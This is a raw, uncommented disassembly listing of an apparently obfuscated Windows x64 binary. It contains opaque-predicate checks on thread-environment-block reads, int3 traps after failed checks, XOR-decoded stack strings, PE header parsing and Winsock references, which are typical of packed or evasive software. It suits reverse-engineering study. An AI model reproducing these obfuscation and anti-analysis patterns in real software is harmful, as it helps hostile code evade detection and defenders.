add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x14002e9e0
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r10, rsi
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r13, 0x5c7dda82ae
mov rsi, qword [rbp]
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eb4a
add edi, r12d
cmp edi, 5
jl 0x14002eaad
jmp 0x14002eb5f
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002ec9f
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r11, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002ebc4
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002eb84
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0x8aec58f0
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002edd1
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002ec33
movsxd r10, dword [rsi + 0x3c]
add r10, rsi
mov qword [rbp - 0x18], r10
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002ede7
mov r8, rbx
mov rcx, r12
mov esi, 0x8aec58f0
mov r9d, 5
mov rax, rsi
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14002eccd
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, rsi
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs rsi, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002eddc
add edi, r12d
cmp edi, 7
jl 0x14002ed6b
jmp 0x14002edf1
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movabs rsi, 0x2aaaaaaaaaaaaaab
mov eax, 0x20b
cmp word [r10 + 0x18], ax
je 0x14002f1d3
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002ef24
mov rdi, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r12
sub r9, r12
jne 0x14002ee25
mov r9d, 0xdb4576f5
xor r8, r9
mov rcx, r8
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f1bd
add edi, r12d
cmp edi, 7
jl 0x14002eebc
movdqa xmm0, xmmword [0x1400f5af0]
movdqu xmmword [rbp + 0xa58], xmm0
movdqa xmm1, xmmword [0x1400f5b70]
movdqu xmmword [rbp + 0xa68], xmm1
movdqa xmm0, xmmword [0x1400f5b40]
movdqu xmmword [rbp + 0xa78], xmm0
mov byte [rbp + 0xa88], 0x7d
mov byte [rbp + 0xa89], 0xaa
mov byte [rbp + 0xa8a], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xa8b], Ordinal_32
mov byte [rbp + 0xa8c], 0xee
mov byte [rbp + 0xa8d], 0xe6
mov byte [rbp + 0xa8e], 0x9e
mov byte [rbp + 0xa8f], 0xdc
mov byte [rbp + 0xa90], 0xc0
mov byte [rbp + 0xa91], 0x64
mov byte [rbp + 0xa92], 0x83
mov byte [rbp + 0xa93], 0x86
mov byte [rbp + 0xa94], 0xff
xor eax, eax
mov byte [rbp + 0xa95], al
mov r8, rbx
movabs rsi, 0x184295a46
movabs rbx, 0x184295a45
lea r9d, [rax + 0x3d]
movabs r15, 0xb8fbb5055c
movabs r10, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r10
mul r13
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r13
sub rcx, rax
xor dil, cl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa58]
xor dil, r8b
mov byte [rbp + r8 + 0xa58], dil
add r8, r12
add r13, rsi
add r9, 0x3d
cmp r13, r15
jb 0x14002efe6
xor ebx, ebx
mov byte [rbp + 0xa95], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0xa58]
call fcn.140025168
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r13d, 0x51a92e05
jne 0x14002f1d9
mov edi, r13d
mov r8d, ebx
mov r9d, ebx
mov r10d, r11d
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor rdi, rdx
mov rax, rsi
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, rdi
and rax, rbx
xor rcx, rax
add r8, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x14002f0a3
xor rdi, r8
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [rdi + r11]
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov ecx, 0xdeadbeef
or r8, rcx
xor rax, r8
mov ecx, 0xf94acd55
xor rax, rcx
mov qword [rbp + 0xd28], rax
mov eax, 0xf2e73d58
mov qword [rbp + 0xd30], rax
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f1c8
add edi, r12d
cmp edi, 5
jl 0x14002f157
jmp 0x14002f1d9
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r13d, 0x51a92e05
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002f328
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r11
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, rsi
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14002f202
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd30]
xor rcx, rdx
mov rax, qword [rbp + 0xd28]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f9b1
add edi, r12d
cmp edi, 5
jl 0x14002f2c0
mov edx, Ordinal_27
lea rcx, [rbp + 0xea8]
call fcn.14003c798
lea rcx, [rbp - 0x78]
call fcn.140006670
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x1400f5bc0]
movdqu xmmword [rbp + 0x7d0], xmm0
mov byte [rbp + 0x7e0], 0x78
mov byte [rbp + 0x7e1], 0xe9
mov byte [rbp + 0x7e2], 0xeb
mov byte [rbp + 0x7e3], 0xbf
mov byte [rbp + 0x7e4], 0x67
mov byte [rbp + 0x7e5], Ordinal_41
mov byte [rbp + 0x7e6], Ordinal_211
mov byte [rbp + 0x7e7], Ordinal_217
mov byte [rbp + 0x7e8], WSAStartup
mov byte [rbp + 0x7e9], gethostname
mov byte [rbp + 0x7ea], WSAGetLastError
mov byte [rbp + 0x7eb], Ordinal_27
mov byte [rbp + 0x7ec], 0xfb
mov byte [rbp + 0x7ed], 0xb8
xor eax, eax
mov byte [rbp + 0x7ee], al
mov r8, rbx
movabs rsi, 0x184295a46
movabs rbx, 0x184295a45
movabs r9, 0x2d7cd89434
lea r10d, [rax + 0x1e]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x7d0], dil
add r8, r12
add r9, rsi
add r10, 0x1e
movabs rax, 0x5af9b12868
cmp r9, rax
jb 0x14002f3f0
xor ebx, ebx
mov byte [rbp + 0x7ee], bl
lea rax, [rbp + 0x7d0]
mov qword [rbp + 0x2d0], rax
movdqa xmm0, xmmword [0x1400f5cf0]
movdqu xmmword [rbp + 0x770], xmm0
mov byte [rbp + 0x780], 0xa6
mov byte [rbp + 0x781], 0x3e
mov byte [rbp + 0x782], 0xfa
mov byte [rbp + 0x783], __WSAFDIsSet
mov byte [rbp + 0x784], Ordinal_211
mov byte [rbp + 0x785], 0xf2
mov byte [rbp + 0x786], gethostname
mov byte [rbp + 0x787], Ordinal_211
mov byte [rbp + 0x788], 0x51
mov byte [rbp + 0x789], 0xe7
mov byte [rbp + 0x78a], 0xe6
xor eax, eax
mov byte [rbp + 0x78b], al
mov r8d, ebx
movabs r9, 0x28f05c8562
lea r10d, [rbx + 0x1b]
mov rsi, qword [rsp + 0x60]
movabs rbx, 0x184295a45
movabs r15, 0x184295a46
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x770], dil
add r8, r12
add r9, r15
add r10, 0x1b
movabs rax, 0x51e0b90ac4
cmp r9, rax
jb 0x14002f4fc
xor ebx, ebx
mov byte [rbp + 0x78b], bl
lea rax, [rbp + 0x770]
mov qword [rbp + 0x2d8], rax
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2c0]
call fcn.14003ccb0
movups xmm0, xmmword [rax]
movdqu xmmword [rbp + 0x2b0], xmm0
mov r8, rsi
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0xea8]
call fcn.14003ccd0
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
mov r15d, 0xa8e3e360
movabs r11, 0x2aaaaaaaaaaaaaab
jne 0x14002f707
mov edi, ebx
mov r8d, r14d
mov r9d, r15d
movabs rsi, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002f62d
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002f5ed
mov rax, rdi
xor rax, rdi
mov esi, 0xa8e3e350
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0x8aec58f0
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f9bc
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002f69b
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002f85a
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov ebx, 0xdeedfeff
mov r15d, 0xdb4576f5
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov rax, r15
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
add r9d, r12d
add r10, r12
cmp r9d, 8
jl 0x14002f730
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov r15d, 0xa8e3e360
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f9c7
add edi, r12d
cmp edi, 5
jl 0x14002f7f2
xor ecx, ecx
call fcn.140006688
mov rcx, rax
call fcn.1400ac914
mov rax, qword gs:[0x15]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, rsi
jne 0x14002f9dd
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs rsi, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002f8d8
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002f898
mov rax, rdi
xor rax, rdi
mov esi, 0xa8e3e350
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r10d, 0xdb4576f5
xor rcx, r10
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002f9d2
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002f947
jmp 0x14002f9e3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r10d, 0xdb4576f5
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002fb1e
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002fa48
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002fa08
mov rax, rdi
xor rax, rdi
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r10d, 0xdb4576f5
xor rcx, r10
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003015f
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002fab2
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002fc59
mov rdi, rbx
mov r8d, r14d
mov r9, r15
movabs r10, 0x38728acc6e2e5700
sub r8d, r12d
sub r9, r12
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002fb83
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002fb43
mov rax, rdi
xor rax, rdi
xor rax, rsi
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov r10d, 0xdb4576f5
xor rcx, r10
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14003016a
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x14002fbed
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002fd83
mov rdi, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, rsi
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
add rcx, r12
sub r9, r12
jne 0x14002fc7d
xor r8, r10
mov rcx, r8
mov rax, r11
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140030175
add edi, r12d
cmp edi, 7
jl 0x14002fd1b
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002feaa
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, rsi
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14002fda7
xor rdi, r10
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140030180
add edi, r12d
cmp edi, 7
jl 0x14002fe42
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x14002fffd
